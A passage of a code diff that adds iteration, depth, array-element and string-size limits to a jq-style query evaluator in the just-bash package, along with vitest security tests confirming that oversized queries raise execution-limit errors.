+      Array.isArray(entry.value)
+        ? entry.value.map((child, index) => [index, child] as const)
+        : Object.keys(entry.value as Record<string, QueryValue>).map(
+            (key) =>
+              [
+                key,
+                // @banned-pattern-ignore: Object.keys returns own properties only
+                (entry.value as Record<string, QueryValue>)[key],
+              ] as const,
+          );
+    assertQueryResultCapacity(
+      ctx,
+      paths.length,
+      stack.length + children.length,
+    );
+    for (let index = children.length - 1; index >= 0; index--) {
+      const [key, child] = children[index];
+      const childPath = [...entry.path, key];
+      stack.push({ value: child, path: childPath, isRoot: false });
+    }
+  }
+  return paths;
+}
+
 /**
  * Handle path builtins that need evaluate function for arguments.
  * Returns null if the builtin name is not a path builtin handled here.
@@ -88,7 +193,7 @@ export function evalPathBuiltin(
     case "setpath": {
       if (args.length < 2) return [null];
       const paths = evaluate(value, args[0], ctx);
-      const path = paths[0] as (string | number)[];
+      const path = validateBoundedPath(paths[0], ctx);
       const vals = evaluate(value, args[1], ctx);
       const newVal = vals[0];
       return [setPath(value, path, newVal)];
@@ -128,12 +233,14 @@ export function evalPathBuiltin(
       // Build result object with only the picked paths
       let result: QueryValue = null;
       for (const path of allPaths) {
-        // Check for negative indices which are not allowed
+        // Preserve jq's established error for the `last` sentinel before the
+        // generic configured-index ceiling classifies all negative numbers.
         for (const key of path) {
           if (typeof key === "number" && key < 0) {
             throw new Error("Out of bounds negative array index");
           }
         }
+        validateBoundedPath(path, ctx);
         // Get the value at this path from the input
         let current: QueryValue = value;
         for (const key of path) {
@@ -160,24 +267,7 @@ export function evalPathBuiltin(
     }
 
     case "paths": {
-      const paths: (string | number)[][] = [];
-      const walk = (v: QueryValue, path: (string | number)[]) => {
-        if (v && typeof v === "object") {
-          if (Array.isArray(v)) {
-            for (let i = 0; i < v.length; i++) {
-              paths.push([...path, i]);
-              walk(v[i], [...path, i]);
-            }
-          } else {
-            for (const key of Object.keys(v)) {
-              paths.push([...path, key]);
-              // @banned-pattern-ignore: iterating via Object.keys() which only returns own properties
-              walk((v as Record<string, unknown>)[key], [...path, key]);
-            }
-          }
-        }
-      };
-      walk(value, []);
+      const paths = collectContainerPaths(value, ctx, false);
       if (args.length > 0) {
         return paths.filter((p) => {
           let v: QueryValue = value;
@@ -203,22 +293,7 @@ export function evalPathBuiltin(
     }
 
     case "leaf_paths": {
-      const paths: (string | number)[][] = [];
-      const walk = (v: QueryValue, path: (string | number)[]) => {
-        if (v === null || typeof v !== "object") {
-          paths.push(path);
-        } else if (Array.isArray(v)) {
-          for (let i = 0; i < v.length; i++) {
-            walk(v[i], [...path, i]);
-          }
-        } else {
-          // @banned-pattern-ignore: iterating via Object.keys() which only returns own properties
-          for (const key of Object.keys(v)) {
-            walk((v as Record<string, unknown>)[key], [...path, key]);
-          }
-        }
-      };
-      walk(value, []);
+      const paths = collectContainerPaths(value, ctx, true);
       // Return each path as a separate output (like paths does)
       return paths;
     }
diff --git a/packages/just-bash/src/commands/query-engine/builtins/resource-limits.security.test.ts b/packages/just-bash/src/commands/query-engine/builtins/resource-limits.security.test.ts
new file mode 100644
index 00000000..dce859ab
--- /dev/null
+++ b/packages/just-bash/src/commands/query-engine/builtins/resource-limits.security.test.ts
@@ -0,0 +1,145 @@
+import { describe, expect, it } from "vitest";
+import { ExecutionLimitError } from "../../../interpreter/errors.js";
+import { evaluate, type QueryExecutionLimits } from "../evaluator.js";
+import { parse } from "../parser.js";
+import { sanitizeParsedData } from "../safe-object.js";
+
+const limits = (
+  overrides: QueryExecutionLimits = {},
+): { limits: QueryExecutionLimits } => ({
+  limits: {
+    maxIterations: 100,
+    maxDepth: 16,
+    maxArrayElements: 8,
+    maxStringLength: 1_024,
+    maxOutputSize: 1_024,
+    ...overrides,
+  },
+});
+
+describe("query builtin prospective resource limits", () => {
+  it("allows has on internally-created entry objects", () => {
+    const input = sanitizeParsedData({ answer: 42 });
+    expect(evaluate(input, parse(`to_entries[] | has("key")`))).toEqual([true]);
+  });
+
+  it("bounds flattened map and map_values generator output", () => {
+    expect(() =>
+      evaluate([1, 2, 3], parse("map(., .)"), limits({ maxArrayElements: 5 })),
+    ).toThrow(ExecutionLimitError);
+    expect(() =>
+      evaluate(
+        [1, 2, 3],
+        parse("map_values(., .)"),
+        limits({ maxArrayElements: 5 }),
+      ),
+    ).toThrow(ExecutionLimitError);
+    expect(() =>
+      evaluate([1], parse("map(range(100))"), limits({ maxArrayElements: 5 })),
+    ).toThrow(/query result element limit exceeded \(5\)/);
+  });
+
+  it("bounds iterative recurse and walk traversal depth", () => {
+    let deep: unknown = 0;
+    for (let i = 0; i < 10; i++) deep = [deep];
+    expect(() =>
+      evaluate(deep, parse("recurse"), limits({ maxDepth: 4 })),
+    ).toThrow(/query depth limit exceeded/);
+    expect(() =>
+      evaluate(deep, parse("walk(.)"), limits({ maxDepth: 4 })),
+    ).toThrow(/query depth limit exceeded/);
+  });
+
+  it("rejects invalid and explosive combinations before generation", () => {
+    expect(() =>
+      evaluate([1, 2], parse("combinations(infinite)"), limits()),
+    ).toThrow(/finite non-negative integer/);
+    expect(() =>
+      evaluate(
+        [1, 2, 3],
+        parse("combinations(3)"),
+        limits({ maxArrayElements: 20 }),
+      ),
+    ).toThrow(/combination limit exceeded/);
+  });
+
+  it("bounds tostream result and traversal allocation", () => {
+    expect(() =>
+      evaluate(
+        [1, 2, 3, 4],
+        parse("tostream"),
+        limits({ maxArrayElements: 4 }),
+      ),
+    ).toThrow(ExecutionLimitError);
+  });
+
+  it("validates fromstream and setpath indexes before array growth", () => {
+    expect(() =>
+      evaluate(
+        [[[999], "value"]],
+        parse("fromstream(.[] )"),
+        limits({ maxArrayElements: 8 }),
+      ),
+    ).toThrow(/array index limit exceeded/);
+    expect(() =>
+      evaluate(
+        null,
+        parse("setpath([999]; 1)"),
+        limits({ maxArrayElements: 8 }),
+      ),
+    ).toThrow(/array index limit exceeded/);
+  });
+
+  it("bounds cumulative nested setpath allocation", () => {
+    expect(
+      evaluate(null, parse("setpath([3]; 1)"), limits({ maxArrayElements: 4 })),
+    ).toEqual([[null, null, null, 1]]);
+    expect(() =>
+      evaluate(
+        null,
+        parse("setpath([7, 7]; 1)"),
+        limits({ maxArrayElements: 8, maxIterations: 100 }),
+      ),
+    ).toThrow(/cumulative array allocation limit exceeded \(8\)/);
+  });
+
+  it("bounds direct and logical evaluator result cardinality", () => {
+    expect(() =>
+      evaluate([1, 2, 3, 4], parse(".[]"), limits({ maxArrayElements: 3 })),
+    ).toThrow(/query result element limit exceeded \(3\)/);
+    expect(() =>
+      evaluate(
+        null,
+        parse("(1, 2, 3) and (4, 5, 6)"),
+        limits({ maxArrayElements: 8 }),
+      ),
+    ).toThrow(/query result element limit exceeded \(8\)/);
+  });
+
+  it("charges paths traversal to the shared query work budget", () => {
+    expect(() =>
+      evaluate(
+        { a: { b: { c: 1 } } },
+        parse("paths"),
+        limits({ maxIterations: 3 }),
+      ),
+    ).toThrow(/too many iterations \(3\)/);
+  });
+
+  it("preserves jq's negative-index error for pick(last)", () => {
+    expect(() => evaluate([1], parse("pick(last)"), limits())).toThrow(
+      "Out of bounds negative array index",
+    );
+  });
+
+  it.each([
+    [`split("")`, "abcdef"],
+    [`splits("")`, "abcdef"],
+    [`scan("")`, "abcdef"],
+    ["explode", "abcdef"],
+  ])("bounds %s materialization", (filter, input) => {
+    expect(() =>
+      evaluate(input, parse(filter), limits({ maxArrayElements: 5 })),
+    ).toThrow(ExecutionLimitError);
+  });
+});
diff --git a/packages/just-bash/src/commands/query-engine/builtins/string-builtins.ts b/packages/just-bash/src/commands/query-engine/builtins/string-builtins.ts
index b88191d7..06e48f86 100644
--- a/packages/just-bash/src/commands/query-engine/builtins/string-builtins.ts
+++ b/packages/just-bash/src/commands/query-engine/builtins/string-builtins.ts
@@ -4,7 +4,9 @@
  * Handles string manipulation functions like join, split, test, match, gsub, etc.
  */
 
+import { ExecutionLimitError } from "../../../interpreter/errors.js";
 import { createUserRegex } from "../../../regex/index.js";
+import { utf8ByteLength } from "../../printf/escapes.js";
 import type { EvalContext } from "../evaluator.js";
 import type { AstNode } from "../parser.js";
 import type { QueryValue } from "../value-operations.js";
@@ -15,6 +17,42 @@ type EvalFn = (
   ctx: EvalContext,
 ) => QueryValue[];
 
+function resultLimit(ctx: EvalContext): number {
+  return ctx.limits.maxArrayElements;
+}
+
+function stringLimit(ctx: EvalContext): number {
+  return Math.min(ctx.limits.maxStringLength, ctx.limits.maxOutputSize);
+}
+
+function assertResultCount(ctx: EvalContext, count: number): void {
+  const limit = resultLimit(ctx);
+  if (!Number.isSafeInteger(count) || count < 0 || count > limit) {
+    throw new ExecutionLimitError(
+      `query result element limit exceeded (${limit})`,
+      "array_elements",
+    );
+  }
+}
+
+function countLiteralSplit(
+  value: string,
+  separator: string,
+  limit: number,
+): number {
+  if (value === "") return separator === "" ? 0 : 1;
+  if (separator === "") return value.length;
+  let count = 1;
+  let offset = 0;
+  while (true) {
+    const match = value.indexOf(separator, offset);
+    if (match < 0) return count;
+    count++;
+    if (count > limit) return count;
+    offset = match + separator.length;
+  }
+}
+
 /**
  * Handle string builtins that need evaluate function for arguments.
  * Returns null if the builtin name is not a string builtin handled here.
@@ -38,17 +76,39 @@ export function evalStringBuiltin(
         }
       }
       // Handle generator args - each separator produces its own output
-      return seps.map((sep) =>
-        value
-          .map((x) => (x === null ? "" : typeof x === "string" ? x : String(x)))
-          .join(String(sep)),
-      );
+      assertResultCount(ctx, seps.length);
+      return seps.map((sep) => {
+        const separator = String(sep);
+        let bytes = 0;
+        for (let i = 0; i < value.length; i++) {
+          const text =
+            value[i] === null
+              ? ""
+              : typeof value[i] === "string"
+                ? value[i]
+                : String(value[i]);
+          bytes += utf8ByteLength(text as string);
+          if (i > 0) bytes += utf8ByteLength(separator);
+          if (bytes > stringLimit(ctx)) {
+            throw new ExecutionLimitError(
+              `query string size limit exceeded (${stringLimit(ctx)} bytes)`,
+              "string_length",
+            );
+          }
+        }
+        return value
+          .map((item) =>
+            item === null ? "" : typeof item === "string" ? item : String(item),
+          )
+          .join(separator);
+      });
     }
 
     case "split": {
       if (typeof value !== "string" || args.length === 0) return [null];
       const seps = evaluate(value, args[0], ctx);
       const sep = String(seps[0]);
+      assertResultCount(ctx, countLiteralSplit(value, sep, resultLimit(ctx)));
       return [value.split(sep)];
     }
 
@@ -65,8 +125,16 @@ export function evalStringBuiltin(
           pattern,
           flags.includes("g") ? flags : `${flags}g`,
         );
-        return regex.split(value);
-      } catch {
+        let count = 1;
+        for (const match of regex.matchAll(value)) {
+          count += Math.max(1, match.length);
+          assertResultCount(ctx, count);
+        }
+        const split = regex.split(value);
+        assertResultCount(ctx, split.length);
+        return split;
+      } catch (error) {
+        if (error instanceof ExecutionLimitError) throw error;
         return [];
       }
     }
@@ -84,17 +152,21 @@ export function evalStringBuiltin(
           pattern,
           flags.includes("g") ? flags : `${flags}g`,
         );
-        const matches = [...regex.matchAll(value)];
-        // Return each match - if groups exist, return array of groups, else return match string
-        return matches.map((m) => {
+        const results: QueryValue[] = [];
+        for (const m of regex.matchAll(value)) {
+          assertResultCount(ctx, results.length + 1);
           if (m.length > 1) {
             // Has capture groups - return array of captured groups (excluding full match)
-            return m.slice(1);
+            assertResultCount(ctx, m.length - 1);
+            results.push(m.slice(1));
+          } else {
+            // No capture groups - return full match string
+            results.push(m[0]);
           }
-          // No capture groups - return full match string
-          return m[0];
-        });
-      } catch {
+        }
+        return results;
+      } catch (error) {
+        if (error instanceof ExecutionLimitError) throw error;
         return [];
       }
     }
@@ -274,6 +346,11 @@ export function evalStringBuiltin(
 
     case "explode":
       if (typeof value === "string") {
+        let count = 0;
+        for (const _codePoint of value) {
+          count++;
+          assertResultCount(ctx, count);
+        }
         return [Array.from(value).map((c) => c.codePointAt(0))];
       }
       return [null];
diff --git a/packages/just-bash/src/commands/query-engine/evaluator.ts b/packages/just-bash/src/commands/query-engine/evaluator.ts
index a8610325..9342d08f 100644
--- a/packages/just-bash/src/commands/query-engine/evaluator.ts
+++ b/packages/just-bash/src/commands/query-engine/evaluator.ts
@@ -5,10 +5,12 @@
  * Used by jq, yq, and other query-based commands.
  */
 
+import { BoundedStringBuilder } from "../../bounded-builder.js";
 import { mapToRecord } from "../../helpers/env.js";
 import { ExecutionLimitError } from "../../interpreter/errors.js";
 import { assertDefenseContext } from "../../security/defense-context.js";
 import type { FeatureCoverageWriter } from "../../types.js";
+import { utf8ByteLength } from "../printf/escapes.js";
 import {
   evalArrayBuiltin,
   evalControlBuiltin,
@@ -69,6 +71,7 @@ class JqError extends Error {
 }
 
 const DEFAULT_MAX_JQ_ITERATIONS = 10000;
+const DEFAULT_MAX_STRING_LENGTH = 10 * 1024 * 1024;
 // Depth limit for nested structures - must be low enough to avoid V8 stack overflow
 // during JSON.stringify/parse which have their own recursion limits (~2000-10000 depending on V8 version)
 const DEFAULT_MAX_JQ_DEPTH = 2000;
@@ -108,12 +111,16 @@ const SIMPLE_MATH_FUNCTIONS = new Map<string, (x: number) => number>([
 export interface QueryExecutionLimits {
   maxIterations?: number;
   maxDepth?: number;
+  maxStringLength?: number;
+  maxOutputSize?: number;
+  maxArrayElements?: number;
 }
 
+export type ResolvedQueryExecutionLimits = Required<QueryExecutionLimits>;
+
 export interface EvalContext {
   vars: Map<string, QueryValue>;
-  limits: Required<Pick<QueryExecutionLimits, "maxIterations">> &
-    QueryExecutionLimits;
+  limits: ResolvedQueryExecutionLimits;
   env?: Map<string, string>;
   requireDefenseContext?: boolean;
   defenseContextChecked?: boolean;
@@ -128,6 +135,77 @@ export interface EvalContext {
   labels?: Set<string>;
   /** Feature coverage writer for fuzzing instrumentation */
   coverage?: FeatureCoverageWriter;
+  /** Shared across every recursive evaluation and builtin invocation. */
+  budget: QueryEvaluationBudget;
+}
+
+export interface QueryEvaluationBudget {
+  operations: number;
+  callDepth: number;
+}
+
+function queryLimitError(
+  message: string,
+  kind: "iterations" | "array_elements" | "recursion",
+): ExecutionLimitError {
+  return new ExecutionLimitError(message, kind);
+}
+
+export function chargeQueryWork(ctx: EvalContext, count = 1): void {
+  if (
+    !Number.isSafeInteger(count) ||
+    count < 0 ||
+    ctx.budget.operations > ctx.limits.maxIterations - count
+  ) {
+    throw queryLimitError(
+      `query evaluation: too many iterations (${ctx.limits.maxIterations})`,
+      "iterations",
+    );
+  }
+  ctx.budget.operations += count;
+}
+
+export function assertQueryResultCapacity(
+  ctx: EvalContext,
+  current: number,
+  additional = 1,
+): void {
+  const maxElements = ctx.limits.maxArrayElements;
+  if (
+    !Number.isSafeInteger(current) ||
+    !Number.isSafeInteger(additional) ||
+    current < 0 ||
+    additional < 0 ||
+    current > maxElements - additional
+  ) {
+    throw queryLimitError(
+      `query result element limit exceeded (${maxElements})`,
+      "array_elements",
+    );
+  }
+}
+
+function appendQueryResults(
+  ctx: EvalContext,
+  target: QueryValue[],
+  values: readonly QueryValue[],
+): void {
+  assertQueryResultCapacity(ctx, target.length, values.length);
+  for (const value of values) target.push(value);
+}
+
+function boundedFlatMap(
+  ctx: EvalContext,
+  values: readonly QueryValue[],
+  mapper: (value: QueryValue) => QueryValue[],
+): QueryValue[] {
+  const results: QueryValue[] = [];
+  for (const value of values) {
+    chargeQueryWork(ctx);
+    const mapped = mapper(value);
+    appendQueryResults(ctx, results, mapped);
+  }
+  return results;
 }
 
 function createContext(options?: EvaluateOptions): EvalContext {
@@ -137,11 +215,17 @@ function createContext(options?: EvaluateOptions): EvalContext {
       maxIterations:
         options?.limits?.maxIterations ?? DEFAULT_MAX_JQ_ITERATIONS,
       maxDepth: options?.limits?.maxDepth ?? DEFAULT_MAX_JQ_DEPTH,
+      maxStringLength:
+        options?.limits?.maxStringLength ?? DEFAULT_MAX_STRING_LENGTH,
+      maxOutputSize:
+        options?.limits?.maxOutputSize ?? DEFAULT_MAX_STRING_LENGTH,
+      maxArrayElements: options?.limits?.maxArrayElements ?? 100_000,
     },
     env: options?.env,
     coverage: options?.coverage,
     requireDefenseContext: options?.requireDefenseContext,
     defenseContextChecked: false,
+    budget: options?.budget ?? { operations: 0, callDepth: 0 },
   };
 }
 
@@ -163,6 +247,7 @@ function withVar(
     funcs: ctx.funcs,
     labels: ctx.labels,
     coverage: ctx.coverage,
+    budget: ctx.budget,
   };
 }
 
@@ -360,6 +445,8 @@ export interface EvaluateOptions {
   env?: Map<string, string>;
   coverage?: FeatureCoverageWriter;
   requireDefenseContext?: boolean;
+  /** Reuse across multiple input documents to enforce one command budget. */
+  budget?: QueryEvaluationBudget;
 }
 
 /**
@@ -375,7 +462,8 @@ function evaluateWithPartialResults(
   if (ast.type === "Comma") {
     const results: QueryValue[] = [];
     try {
-      results.push(...evaluate(value, ast.left, ctx));
+      const left = evaluate(value, ast.left, ctx);
+      appendQueryResults(ctx, results, left);
     } catch (e) {
       // Always re-throw execution limit errors - they must not be suppressed
       if (e instanceof ExecutionLimitError) throw e;
@@ -384,7 +472,8 @@ function evaluateWithPartialResults(
       throw new Error("evaluation failed");
     }
     try {
-      results.push(...evaluate(value, ast.right, ctx));
+      const right = evaluate(value, ast.right, ctx);
+      appendQueryResults(ctx, results, right);
     } catch (e) {
       // Always re-throw execution limit errors
       if (e instanceof ExecutionLimitError) throw e;
@@ -421,6 +510,33 @@ export function evaluate(
     ctx = { ...ctx, root: value, currentPath: [] };
   }
 
+  chargeQueryWork(ctx);
+  ctx.budget.callDepth++;
+  if (ctx.budget.callDepth > ctx.limits.maxDepth) {
+    ctx.budget.callDepth--;
+    throw queryLimitError(
+      `query depth limit exceeded (${ctx.limits.maxDepth})`,
+      "recursion",
+    );
+  }
+
+  try {
+    const results = evaluateNode(value, ast, ctx);
+    // Enforce the public evaluator contract as well as individual builders.
+    // Direct nodes such as `.[]` can otherwise return an attacker-owned array
+    // without passing through an internal append helper.
+    assertQueryResultCapacity(ctx, 0, results.length);
+    return results;
+  } finally {
+    ctx.budget.callDepth--;
+  }
+}
+
+function evaluateNode(
+  value: QueryValue,
+  ast: AstNode,
+  ctx: EvalContext,
+): QueryValue[] {
   ctx.coverage?.hit(`jq:node:${ast.type}`);
   switch (ast.type) {
     case "Identity":
@@ -428,7 +544,7 @@ export function evaluate(
 
     case "Field": {
       const bases = ast.base ? evaluate(value, ast.base, ctx) : [value];
-      return bases.flatMap((v) => {
+      return boundedFlatMap(ctx, bases, (v) => {
         const obj = asQueryRecord(v);
         if (obj) {
           // Defense against prototype pollution: only return own properties
@@ -452,9 +568,9 @@ export function evaluate(
 
     case "Index": {
       const bases = ast.base ? evaluate(value, ast.base, ctx) : [value];
-      return bases.flatMap((v) => {
+      return boundedFlatMap(ctx, bases, (v) => {
         const indices = evaluate(v, ast.index, ctx);
-        return indices.flatMap((idx) => {
+        return boundedFlatMap(ctx, indices, (idx) => {
           if (typeof idx === "number" && Array.isArray(v)) {
             // Handle NaN - return null for NaN index
             if (Number.isNaN(idx)) {
@@ -480,7 +596,7 @@ export function evaluate(
 
     case "Slice": {
       const bases = ast.base ? evaluate(value, ast.base, ctx) : [value];
-      return bases.flatMap((v) => {
+      return boundedFlatMap(ctx, bases, (v) => {
         // null can be sliced and returns null
         if (v === null) return [null];
         if (!Array.isArray(v) && typeof v !== "string") {
@@ -489,7 +605,8 @@ export function evaluate(
         const len = v.length;
         const starts = ast.start ? evaluate(value, ast.start, ctx) : [0];
         const ends = ast.end ? evaluate(value, ast.end, ctx) : [len];
-        return starts.flatMap((s) =>
+        assertQueryResultCapacity(ctx, 0, starts.length * ends.length);
+        return boundedFlatMap(ctx, starts, (s) =>
           ends.map((e) => {
             // jq uses floor for start and ceil for end (for fractional indices)
             // NaN in start position → 0, NaN in end position → length
@@ -515,7 +632,7 @@ export function evaluate(
 
     case "Iterate": {
       const bases = ast.base ? evaluate(value, ast.base, ctx) : [value];
-      return bases.flatMap((v) => {
+      return boundedFlatMap(ctx, bases, (v) => {
         if (Array.isArray(v)) return v;
         if (v && typeof v === "object") return Object.values(v);
         return [];
@@ -533,9 +650,11 @@ export function evaluate(
               ...ctx,
               currentPath: [...(ctx.currentPath ?? []), ...leftPath],
             };
-            pipeResults.push(...evaluate(v, ast.right, newCtx));
+            const next = evaluate(v, ast.right, newCtx);
+            appendQueryResults(ctx, pipeResults, next);
           } else {
-            pipeResults.push(...evaluate(v, ast.right, ctx));
+            const next = evaluate(v, ast.right, ctx);
+            appendQueryResults(ctx, pipeResults, next);
           }
         } catch (e) {
           if (e instanceof BreakError) {
@@ -549,6 +668,7 @@ export function evaluate(
     case "Comma": {
       const leftResults = evaluate(value, ast.left, ctx);
       const rightResults = evaluate(value, ast.right, ctx);
+      assertQueryResultCapacity(ctx, leftResults.length, rightResults.length);
       return [...leftResults, ...rightResults];
     }
 
@@ -573,6 +693,12 @@ export function evaluate(
 
         // @banned-pattern-ignore: array declaration, objects added via nullPrototypeCopy
         const newResults: Record<string, unknown>[] = [];
+        const safeKeyCount = keys.filter(
+          (key): key is string => typeof key === "string" && isSafeKey(key),
+        ).length;
+        const keyAlternatives = safeKeyCount + (keys.length - safeKeyCount);
+        const prospective = results.length * keyAlternatives * values.length;
+        assertQueryResultCapacity(ctx, 0, prospective);
         for (const obj of results) {
           for (const k of keys) {
             // jq requires object keys to be strings
@@ -599,7 +725,7 @@ export function evaluate(
           }
         }
         results.length = 0;
-        results.push(...newResults);
+        appendQueryResults(ctx, results, newResults);
       }
 
       return results;
@@ -632,7 +758,7 @@ export function evaluate(
 
     case "Cond": {
       const conds = evaluate(value, ast.cond, ctx);
-      return conds.flatMap((c) => {
+      return boundedFlatMap(ctx, conds, (c) => {
         if (isTruthy(c)) {
           return evaluate(value, ast.then, ctx);
         }
@@ -654,6 +780,7 @@ export function evaluate(
       try {
         return evaluate(value, ast.body, ctx);
       } catch (e) {
+        if (e instanceof ExecutionLimitError) throw e;
         if (ast.catch) {
           // jq: In catch handler, input is the error value (preserved if JqError)
           const errorVal =
@@ -673,7 +800,7 @@ export function evaluate(
 
     case "VarBind": {
       const values = evaluate(value, ast.value, ctx);
-      return values.flatMap((v) => {
+      return boundedFlatMap(ctx, values, (v) => {
         let newCtx: EvalContext | null = null;
 
         // Build list of patterns to try: primary pattern + alternatives
@@ -684,7 +811,9 @@ export function evaluate(
           patternsToTry.push({ type: "var", name: ast.name });
         }
         if (ast.alternatives) {
-          patternsToTry.push(...ast.alternatives);
+          for (const alternative of ast.alternatives) {
+            patternsToTry.push(alternative);
+          }
         }
 
         // Try each pattern until one matches
@@ -718,42 +847,81 @@ export function evaluate(
     case "Recurse": {
       const results: QueryValue[] = [];
       const seen = new WeakSet<object>();
-      const walk = (val: QueryValue) => {
+      const stack: Array<{ val: QueryValue; depth: number }> = [
+        { val: value, depth: 0 },
+      ];
+      while (stack.length > 0) {
+        const entry = stack.pop();
+        if (!entry) break;
+        const { val, depth } = entry;
+        chargeQueryWork(ctx);
+        if (depth > ctx.limits.maxDepth) {
+          throw queryLimitError(
+            `query depth limit exceeded (${ctx.limits.maxDepth})`,
+            "recursion",
+          );
+        }
         if (val && typeof val === "object") {
-          if (seen.has(val as object)) return;
+          if (seen.has(val as object)) continue;
           seen.add(val as object);
         }
+        assertQueryResultCapacity(ctx, results.length);
         results.push(val);
         if (Array.isArray(val)) {
-          for (const item of val) walk(item);
+          for (let index = val.length - 1; index >= 0; index--) {
+            stack.push({ val: val[index], depth: depth + 1 });
+          }
         } else if (val && typeof val === "object") {
-          // @banned-pattern-ignore: iterating via Object.keys() which only returns own properties
-          for (const key of Object.keys(val)) {
-            walk((val as Record<string, unknown>)[key]);
+          const keys = Object.keys(val);
+          for (let index = keys.length - 1; index >= 0; index--) {
+            stack.push({
+              // @banned-pattern-ignore: iterating via Object.keys() which only returns own properties
+              val: (val as Record<string, unknown>)[keys[index]],
+              depth: depth + 1,
+            });
           }
         }
-      };
-      walk(value);
+      }
       return results;
     }
 
     case "Optional": {
       try {
         return evaluate(value, ast.expr, ctx);
-      } catch {
+      } catch (error) {
+        if (error instanceof ExecutionLimitError) throw error;
         return [];
       }
     }
 
     case "StringInterp": {
-      const parts = ast.parts.map((part) => {
-        if (typeof part === "string") return part;
+      const output = new BoundedStringBuilder(
+        ctx.limits.maxStringLength,
+        "query string interpolation",
+        () =>
+          new ExecutionLimitError(
+            `string size limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+            "string_length",
+          ),
+      );
+      for (const part of ast.parts) {
+        if (typeof part === "string") {
+          output.append(part);
+          continue;
+        }
         const vals = evaluate(value, part, ctx);
-        return vals
-          .map((v) => (typeof v === "string" ? v : JSON.stringify(v)))
-          .join("");
-      });
-      return [parts.join("")];
+        for (const v of vals) {
+          chargeQueryWork(ctx);
+          if (getValueDepth(v, ctx.limits.maxDepth + 1) > ctx.limits.maxDepth) {
+            throw queryLimitError(
+              `query depth limit exceeded (${ctx.limits.maxDepth})`,
+              "recursion",
+            );
+          }
+          output.append(typeof v === "string" ? v : JSON.stringify(v));
+        }
+      }
+      return [output.build()];
     }
 
     case "UpdateOp": {
@@ -797,8 +965,9 @@ export function evaluate(
           state = evaluate(state, ast.update, newCtx)[0];
           if (ast.extract) {
             const extracted = evaluate(state, ast.extract, newCtx);
-            foreachResults.push(...extracted);
+            appendQueryResults(ctx, foreachResults, extracted);
           } else {
+            assertQueryResultCapacity(ctx, foreachResults.length);
             foreachResults.push(state);
           }
         } catch (e) {
@@ -882,8 +1051,10 @@ function applyUpdate(
           return current + newVal;
         if (typeof current === "string" && typeof newVal === "string")
           return current + newVal;
-        if (Array.isArray(current) && Array.isArray(newVal))
+        if (Array.isArray(current) && Array.isArray(newVal)) {
+          assertQueryResultCapacity(ctx, current.length, newVal.length);
           return [...current, ...newVal];
+        }
         if (
           current &&
           newVal &&
@@ -962,10 +1133,14 @@ function applyUpdate(
         const indices = evaluate(root, path.index, ctx);
         let idx = indices[0];
 
-        // Handle NaN index - throw error for assignment
+        // Non-finite indices cannot allocate, so they are ordinary catchable jq
+        // errors. Prospective allocation limits below remain fatal.
         if (typeof idx === "number" && Number.isNaN(idx)) {
           throw new Error("Cannot set array element at NaN index");
         }
+        if (typeof idx === "number" && !Number.isFinite(idx)) {
+          throw new Error("array index must be finite");
+        }
 
         // Truncate float index to integer for assignment
         if (typeof idx === "number" && !Number.isInteger(idx)) {
@@ -978,8 +1153,10 @@ function applyUpdate(
               const arr = [...baseVal];
               const i = idx < 0 ? arr.length + idx : idx;
               if (i >= 0) {
-                // Extend array if needed
-                while (arr.length <= i) arr.push(null);
+                assertQueryResultCapacity(ctx, 0, i + 1);
+                if (arr.length <= i) arr.length = i + 1;
+                for (let fill = baseVal.length; fill < i; fill++)
+                  arr[fill] = null;
                 arr[i] = transform(arr[i]);
               }
               return arr;
@@ -1006,7 +1183,7 @@ function applyUpdate(
         if (typeof idx === "number") {
           // jq: Array index too large
           const MAX_ARRAY_INDEX = 536870911;
-          if (idx > MAX_ARRAY_INDEX) {
+          if (!Number.isSafeInteger(idx) || idx > MAX_ARRAY_INDEX) {
             throw new Error("Array index too large");
           }
           // jq: Out of bounds negative array index when base is null/non-array
@@ -1017,16 +1194,17 @@ function applyUpdate(
             const arr = [...val];
             const i = idx < 0 ? arr.length + idx : idx;
             if (i >= 0) {
-              // Extend array if needed
-              while (arr.length <= i) arr.push(null);
+              assertQueryResultCapacity(ctx, 0, i + 1);
+              if (arr.length <= i) arr.length = i + 1;
+              for (let fill = val.length; fill < i; fill++) arr[fill] = null;
               arr[i] = transform(arr[i]);
             }
             return arr;
           }
           // Create array if val is null
           if (val === null || val === undefined) {
-            const arr: QueryValue[] = [];
-            while (arr.length <= idx) arr.push(null);
+            assertQueryResultCapacity(ctx, 0, idx + 1);
+            const arr: QueryValue[] = new Array(idx + 1).fill(null);
             arr[idx] = transform(null);
             return arr;
           }
@@ -1053,7 +1231,13 @@ function applyUpdate(
       case "Iterate": {
         const applyToContainer = (container: QueryValue): QueryValue => {
           if (Array.isArray(container)) {
-            return container.map((item) => transform(item));
+            assertQueryResultCapacity(ctx, 0, container.length);
+            const result: QueryValue[] = [];
+            for (const item of container) {
+              chargeQueryWork(ctx);
+              result.push(transform(item));
+            }
+            return result;
           }
           if (container && typeof container === "object") {
             // Use null-prototype to prevent prototype pollution
@@ -1361,19 +1545,19 @@ function evalBinaryOp(
   // Short-circuit for 'and' and 'or'
   if (op === "and") {
     const leftVals = evaluate(value, left, ctx);
-    return leftVals.flatMap((l) => {
+    return boundedFlatMap(ctx, leftVals, (l) => {
       if (!isTruthy(l)) return [false];
       const rightVals = evaluate(value, right, ctx);
-      return rightVals.map((r) => isTruthy(r));
+      return boundedFlatMap(ctx, rightVals, (r) => [isTruthy(r)]);
     });
   }
 
   if (op === "or") {
     const leftVals = evaluate(value, left, ctx);
-    return leftVals.flatMap((l) => {
+    return boundedFlatMap(ctx, leftVals, (l) => {
       if (isTruthy(l)) return [true];
       const rightVals = evaluate(value, right, ctx);
-      return rightVals.map((r) => isTruthy(r));
+      return boundedFlatMap(ctx, rightVals, (r) => [isTruthy(r)]);
     });
   }
 
@@ -1389,6 +1573,10 @@ function evalBinaryOp(
   const leftVals = evaluate(value, left, ctx);
   const rightVals = evaluate(value, right, ctx);
 
+  const resultCount = leftVals.length * rightVals.length;
+  assertQueryResultCapacity(ctx, 0, resultCount);
+  chargeQueryWork(ctx, resultCount);
+
   return leftVals.flatMap((l) =>
     rightVals.map((r) => {
       switch (op) {
@@ -1397,8 +1585,21 @@ function evalBinaryOp(
           if (l === null) return r;
           if (r === null) return l;
           if (typeof l === "number" && typeof r === "number") return l + r;
-          if (typeof l === "string" && typeof r === "string") return l + r;
-          if (Array.isArray(l) && Array.isArray(r)) return [...l, ...r];
+          if (typeof l === "string" && typeof r === "string") {
+            const maxStringLength = ctx.limits.maxStringLength;
